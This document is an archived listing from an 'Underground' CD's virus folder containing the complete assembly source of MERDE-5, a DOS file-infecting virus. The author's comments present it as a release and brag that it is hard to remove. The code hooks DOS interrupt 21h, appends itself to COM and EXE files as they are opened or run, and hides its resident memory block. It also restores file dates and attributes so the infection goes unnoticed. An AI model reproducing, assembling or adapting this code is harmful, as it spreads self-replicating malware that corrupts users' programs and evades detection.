Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / m / merde-5.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 12.0 KB | 613 lines

; Okay, here is my newest version.. It now ; offers EXE infection. I messed up command.com ; compatibility so this version won't infect it. ; Also, this version might be a little shakey, ; but it should work okay with most setups ; (I'm not professional yet, so screw 'em ; if this hangs!).. ; This will be the last time I release code for ; my virii. Thanks to firststrike, and anyone else ; who has given me tips..... ; Be careful not to get this, it is kinda hard to get rid ; of (it would be REALLY hard to get rid of if it infected ;command.com- I will have to fix that (along with the TERRIBLE ; inefficiency in my interrupt handler (the loader is OKAY, but ; My_21 is just kind of a jumble of code thrown together for now. ; If you want to vaccinate your system, and you know a little about ; assembler, it isn't that hard. (I gave the come version to ; myself about 3 times). Just take notice of my use of interrupt ; 71...(This will be changed in future versions, for obvious reasons). ; MERDE-5 The merde virus version 5.0- loki compare_val equ 850 interrupt equ 21h Code_seg Segment Byte Assume DS:Code_seg, CS:Code_seg ORG 100h start: call get_ip exe_or_com: dw 'CO' get_ip: pop di sub di,3 cmp word ptr cs:[di+3],'EX' jne com_memory_loader jmp exe_memory_loader ;Load memory from within an EXE file.. ;------------------------------------------------------------------------------ exe_memory_loader: call check_for_int_71 jc go call get_memory ;es=my_segment jnc aaaa jmp exit_exe aaaa: call hide_memory call set_int_71 call save_21 push ds call move_all_code pop ds mov bx,es call set_21 go: jmp exit_exe ;------------------------------------------------------------------------------ ;****************************************************************************** ;------------------------------------------------------------------------------ ;load memory from a COM file... com_memory_loader: call restore_com call check_for_int_71 jc go_1 call get_memory jnc bbbb jmp exit_com bbbb: call hide_memory reset_di: call set_int_71 call save_21 call move_all_code mov bx,es call set_21 go_1: jmp exit_com ;------------------------------------------------------------------------------ ;Returns ES with my segment (or an error) ;------------------------------------------------------------------------------ get_memory: int 12h mov bx,cs mov cx,1024 mul cx clc mov cx,600h ;Amount of needed memory sub ax,cx sbb dx,0000 ;dx:ax=where we want this mem to end! mov bx,dx mov bp,ax ;save this... mov cx,cs mov ax,0010h mul cx clc mov cx,di add cx,offset ending-100h add ax,cx adc dx,0000 clc sub bp,ax sbb bx,dx clc mov ax,bp mov dx,bx mov cx,0010h div cx ;dx:ax=memory above this-divide it by 16 mov bx,ax mov ah,4ah int 21h jc get_memory_error mov bx,60 mov ah,48h int 21h jc get_memory_error mov es,ax clc ret get_memory_error: stc ret ;------------------------------------------------------------------------------ ;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files) ;------------------------------------------------------------------------------ move_all_code: ;move PSP************************** push di xor si,si xor di,di mov cx,100h rep movsb ;********************************** ;move my code********************** pop si push si push cs pop ds mov cx,offset ending-100h rep movsb pop di ret ;********************************** ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ;saves interrupt 21 in cs:[int_21_saveo] save_21: push es xor ax,ax mov es,ax mov ax,es:[interrupt*4] mov bx,es:[interrupt*4+2] mov cs:[di+offset int_21_saveo-100h],ax mov cs:[di+offset int_21_saves-100h],bx pop es ret ;----------------------------------------------------------------------------- ;sets interrupt 21 to bx:offset of my_21 set_21: push es xor ax,ax mov es,ax mov es:[interrupt*4],offset my_21 mov es:[interrupt*4+2],bx pop es ret ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;Restores a COM file restore_com: push di mov si,di add si,offset three_bytes-100h mov di,0100h mov cx,3 rep movsb pop di ret ;------------------------------------------------------------------------------ ;Hides my segment's (es) size and owner hide_memory: push ds xor cx,cx mov ds,cx mov cx,ds:[2eh*4+2] pop ds push ds mov dx,es dec dx mov ds,dx mov ds:[1],cx ;maybe later set to DOS seg mov byte ptr ds:[0],'Z' mov word ptr ds:[3],0000 mov es:[16h],cx mov es:[0ah],cx mov es:[0ch],cx pop ds ret ;------------------------------------------------------------------------------ ;check_for_int 71- My little multiplex interrupt check_for_int_71: int 71h cmp ax,9999h je set_c clc ret set_c: stc ret ;------------------------------------------------------------------------------ ;Set interrupt 71: set_int_71: push ds xor ax,ax mov ds,ax mov ds:[71h*4+2],es mov ds:[71h*4],offset my_71 pop ds ret exit_com: xor cx,cx xor dx,dx xor ax,ax xor bx,bx xor si,si xor di,di mov ax,100h jmp ax exit_exe: push ds pop es mov ax,es add ax,10h add word ptr cs:[di+offset orig_cs-100h],ax cli add ax,word ptr cs:[di+offset orig_ss-100h] mov ss,ax mov sp,word ptr cs:[di+offset orig_sp-100h] sti jmp dword ptr cs:[di+offset orig_ip-100h] ;------------------------------------------------------------------ my_21: cmp ah,4bh je okay_go cmp ah,0fh je okay_go cmp ah,3dh je okay_go cmp ah,43h je okay_go jmp continue_21 okay_go: push ax push bx push cx push dx push es push di push si push bp push es push ds check_for_com: xor si,si mov bx,dx looper: cmp word ptr ds:[bx+si],'c.' je check_om cmp word ptr ds:[bx+si],'C.' je check_om cmp word ptr ds:[bx+si],'e.' je check_ex cmp word ptr ds:[bx+si],'E.' je check_ex inc si cmp si,40 jne looper jmp give_up1 check_om: cmp word ptr ds:[bx+si+2],'mo' jne bb mov cs:[com_or_exe],0 jmp check_for_infection bb: cmp word ptr ds:[bx+si+2],'MO' jne cc mov cs:[com_or_exe],0 jmp check_for_infection cc: jmp give_up1 check_ex: cmp word ptr ds:[bx+si+2],'ex' jne label1 mov cs:[com_or_exe],1234h jmp okay_do label1: cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!! je cccc ;forget exe for now.. jmp give_up1 cccc: mov cs:[com_or_exe],1234h jmp okay_do check_for_infection: cmp word ptr [bx+si-2],'DN' jne okey_k jmp give_up1 okey_k: cmp word ptr [bx+si-2],'DN' jne okay_do jmp give_up1 okay_do: mov cs:[storage_1],ds mov cs:[storage_2],dx mov ah,50h ;set PSP to ours push cs pop bx call dos_21 mov ah,43h xor al,al call dos_21 jnc okay9 jmp give_up okay9: mov cs:[attrib],cx mov ah,43h mov al,1 xor cx,cx call dos_21 mov ah,3dh mov al,2 call dos_21 jnc okay10 jmp give_up okay10: mov cs:[handle],ax mov bx,ax mov ah,57h xor al,al call dos_21 mov cs:[date],dx mov cs:[time],cx mov ax,4202h xor dx,dx xor cx,cx call dos_21 jnc okay11 jmp give_up okay11: mov cs:[file_size],ax cmp cs:[com_or_exe],1234h jne okey_p sub ax,compare_val sbb dx,0000 mov cx,dx mov dx,ax jmp contin2 okey_p: xor cx,cx cmp ax,63000 jb contin1 call reset_all jmp give_up contin1: cmp ax,600 jnb continx call reset_all jmp give_up continx: sub ax,compare_val mov dx,ax xor cx,cx contin2: mov ax,4200h mov bx,cs:[handle] call dos_21 mov ah,3fh push cs pop ds mov dx,offset buffer mov cx,2 call dos_21 mov ax,word ptr cs:[buffer] mov bx,word ptr cs:[offset dont_write-compare_val] cmp ax,bx jne dddd jmp give_up dddd: cmp cs:[com_or_exe],1234h je infect_exe jmp infect_com infect_exe: mov bx,cs:[handle] xor dx,dx xor cx,cx mov ax,4200h call dos_21 push cs pop ds mov ah,3fh mov cx,18h mov dx,offset header call dos_21 cmp word ptr [header+8],1000h jb okayh call reset_all jmp give_up okayh: mov ax,word ptr [header+16h] mov orig_cs,ax mov ax,word ptr [header+14h] mov orig_ip,ax mov ax,word ptr [header+0eh] mov orig_ss,ax mov ax,word ptr [header+10h] mov orig_sp,ax mov ax,4202h mov bx,handle xor cx,cx xor dx,dx call dos_21 mov word ptr ds:[exe_or_com],'EX' mov high_size,dx mov low_size,ax mov real_hsize,dx mov real_lsize,ax mov ax,word ptr [header+8] mov cx,10h mul cx clc sub low_size,ax ;high_size:low_size=load size sbb high_size,dx clc mov dx,high_size mov ax,low_size mov cx,0010h div cx cmp dx,0 je okay mov cx,16 sub cx,dx mov bp,cx add real_lsize,bp adc real_hsize,0000 clc stc adc ax,0000 jmp okay1 okay: xor bp,bp okay1: xor dx,dx mov word ptr [header+16h],ax ;add to dx? mov word ptr [header+14h],dx mov word ptr [header+0eh],ax mov dx,0fffeh mov word ptr [header+10h],dx mov dx,real_hsize mov ax,real_lsize add ax,offset ending-100h+1 adc dx,0000 push ax mov cl,9 shr ax,cl ror dx,cl stc adc dx,ax pop ax and ah,1 mov word ptr [header+4],dx mov word ptr [header+2],ax mov ah,40h mov bx,handle mov cx,offset dont_write-100h add cx,bp mov dx,100h sub dx,bp call dos_21 mov ax,4200h xor cx,cx xor dx,dx mov bx,handle call dos_21 mov ah,40h mov bx,handle mov cx,18h mov dx,offset header call dos_21 call reset_all jmp give_up infect_com: xor cx,cx xor dx,dx mov bx,cs:[handle] mov ax,4200h call dos_21 mov ah,3fh mov cx,3 push cs pop ds mov dx,offset three_bytes call dos_21 mov ax,cs:[file_size] sub ax,3 mov word ptr cs:[jumper+1],ax mov word ptr cs:[exe_or_com],'CO' call write_to_end xor cx,cx xor dx,dx mov ax,4200h mov bx,cs:[handle] call dos_21 mov dx,offset jumper mov ah,40h mov cx,3 call dos_21 call reset_all give_up: mov ah,50h mov bx,cs:[storage_1] call dos_21 give_up1: pop ds pop es pop bp pop si pop di pop es pop dx pop cx pop bx pop ax jmp continue_21 continue_21: jmp dword ptr cs:[int_21_saveo] dos_21: pushf call dword ptr cs:[int_21_saveo] ret reset_all: mov bx,cs:[handle] mov cx,cs:[time] mov dx,cs:[date] mov ax,5701h call dos_21 mov ah,3eh mov bx,cs:[handle] call dos_21 mov ah,43h mov al,1 mov cx,cs:[attrib] mov ds,cs:[storage_1] mov dx,cs:[storage_2] call dos_21 ret write_to_end: mov ax,4202h xor dx,dx xor cx,cx mov bx,cs:[handle] call dos_21 mov ah,40h mov cx,offset dont_write-100h push cs pop ds mov dx,0100h call dos_21 ret my_71: mov ax,9999h iret jumper: db 0e9h,00,00 storage_1 dw 0000 storage_2 dw 0000 int_21_saveo dw 0000 int_21_saves dw 0000 three_bytes: db 0cdh,20h,90h db 'Loki' orig_ip dw 0000 orig_cs dw 0000 orig_ss dw 0000 orig_sp dw 0000 dont_write: header: db 24 dup(00) com_or_exe dw 1234h handle dw 0000 file_size dw 0000 attrib dw 0000 date dw 0000 time dw 0000 buffer: dw 0000 loader_high dw 0000 loader_low dw 0000 header_cs dw 0000 header_ip dw 0000 low_size dw 0000 high_size dw 0000 real_hsize dw 0000 real_lsize dw 0000 ending: Code_seg ENDS END start